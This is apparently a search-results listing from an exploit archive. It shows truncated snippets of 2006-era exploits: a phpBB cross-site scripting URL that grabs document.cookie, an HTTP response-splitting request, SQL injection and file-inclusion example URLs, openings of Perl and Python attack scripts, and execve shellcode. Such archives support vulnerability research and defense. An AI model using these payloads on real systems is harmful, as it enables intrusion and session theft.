11989 matches found
phpBBHTTP应答分割攻击及跨站脚本执行漏洞 Exploit
No description provided by source. Ory Segal （[email protected]）提供了如下测试方法： 跨站脚本攻击： http://SERVER/phpBB2/search.php?searchauthor='scriptalertdocument.cookie/script HTTP应答分割 REQUEST POST /phpBB2/login.php HTTP/1.0 Host: SERVER User-Agent: Mozilla/4.7 en WinNT; I Accept-Encoding: gzip...
Midicart vulerable
lintah|adv|15@2006=========MidiCart===php b/d / / / ooo000-------------------------------- -------------000ooo/ / / Indonesian Cyber-Terrorist Grey Hats / / / / iFX a.k.a inversFX / / | ifx@... | | / / | | | ! ! | :. :/ | | | | | | locate : Indonesia, Jakarta | | | -------------------------------...
PHP Upload Center 2.0 (activate.php) File Include Vulnerabilities
No description provided by source. Coding 4 Fun Name = PHP Upload Center v2.0 ; Class = Remote/Local File Inclusion ; Download = http://skrypty.webpc.pl/pobierz.php?id=58 ; Found by = GregStar gregstaratc4fdotpl http://c4f.pl ;...
Envolution <= 1.1.0 (PNSVlang) Remote Code Execution Exploit
Exploit for unknown platform in category web applications ============================================================ Envolution = 1.1.0 PNSVlang Remote Code Execution Exploit ============================================================ ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+:...
S9Y Serendipity 1.0.3 - 'comment.php' Local File Inclusion
DEVIL TEAM IRC: irc.milw0rm.com:6667 devilteam http://www.rahim.webd.pl/ ======== Contact: [email protected] cod3d by Kacper -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Greetings DragonHeart and all DEVIL TEAM Patriots : - Leito & Leon | friend str0ke ; pepi,...
mg.applanix <= 1.3.1 Remote File Include Exploit
No description provided by source. !/usr/bin/perl """"""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """...
Woltlab Burning Board Lite 1.0.2 - 'decode_cookie()' SQL Injection
126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont=...
Woltlab Burning Board Lite 1.0.2 - decode_cookie() SQL Injection
Woltlab Burning Board Lite 1.0.2 - decodecookie SQL Injection 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; els...
fipsGallery <= 1.5 (index1.asp) Remote SQL Injection Vulnerability
No description provided by source. Title : fipsGallery = v1.5 index1.asp Remote SQL Injection Vulnerability Author : ajann Contact : : $$$ : 29 Euro http://target/path//index1.asp?what=artists&which=SQL Example:...
Pearl Forums 2.4 Multiple Remote File Include Vulnerabilities
| | / | / | | | | | / | / / | | | | '| | |/| |/ / / / / | | '| | | / | | || | | | | | | | | / | | | | || |/|| || ||,// / ||| ,|/ ///////////////////////////////////////////////////////////////////////////////////////////////////////////// //Script:Pearl Forums //Author: Dr Max Virus...
ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability
No description provided by source. Title : ASPNuke = 0.80 register.asp Remote SQL Injection Vulnerability Author : ajann S.Page : http://www.aspnuke.com D.Page : http://sourceforge.net/project/showfiles.php?groupid=92470...
Microsoft Windows - NetpManageIPCConnect Remote Stack Overflow (MS06-070) (Python)
Microsoft Windows - NetpManageIPCConnect Remote Stack Overflow MS06-070 Python !/usr/bin/python MS06-070 Windows WorkStation NetpManageIPCConnect Vulnerability Exploit Tested on windows 2000 server SP4 Usage: python NetAPI-NetrJoinDomain2.py Requires a domain controller on the network configure...
HTTP Upload Tool (download.php) Information Disclosure Vulnerability
Exploit for unknown platform in category web applications ==================================================================== HTTP Upload Tool download.php Information Disclosure Vulnerability ==================================================================== Target: HTTP Upload Tool For PHP 1...
MS Internet Explorer 6/7 (XML Core Services) Remote Code Exec Exploit 3
No description provided by source. / ----------------------------------------------------------------------- MS Internet Explorer 6/7 XML Core Services Remote Code Execution Exploit Works on Windows XP versions including SP2 and 2K Author: M03 Credit: metasploit, jamikazu, yag kohnafor the...
WFTPD Pro Server 3.23.1.1 - 'APPE' Remote Buffer Overflow (PoC)
!/usr/bin/env python import sys import struct import ftplib print "WFTPD Pro Server 3.23.1.1 Buffer Overflow Only a DOS currently, simple POC" print "Copyright c Joxean Koret" print target = "192.168.1.13" targetPort = "21" try: ftp = ftplib.FTP print "+ Connecting to target " msg =...
CVE-2006-5722
Summary: Segue CMS 1.5.9 and earlier exposes multiple remote file inclusion vulnerabilities. The issue stems from unsanitized input in the themesdir/theme-related include paths (themesettings.inc.php and index.php), enabling an attacker to inject arbitrary PHP code via a URL parameter. Documented...
PHPKIT 1.6.1R2 - 'search_user' SQL Injection
!/usr/bin/perl use IO::Socket; print q ----------------------------------------------- PHPKit 1.6.1 exploit by x23 phcn.ws geek-network.de use: phpkit161.pl server dir vicid sample: $ perl phpkit161.pl localhost /phpkit/ 1 ----------------------------------------------- ; $webpage = $ARGV0;...
linux/x86-64 execve(/bin/sh) 33 bytes
Exploit for linux/x86-64 platform in category shellcode ===================================== linux/x86-64 execve/bin/sh 33 bytes ===================================== Linux/X86-64 Dummy for shellcode: execve"/bin/sh", "/bin/sh", NULL hophet at gmail.com .text .globl start start: xorq %rdx, %rdx...
P-Book <= 1.17 (pb_lang) Remote File Inclusion Vulnerabilities
No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV56$2006 ------------------------------------------------------------------------------ ECHOADV56$2006 P-Book = 1.17 pblang Remote File Inclusion...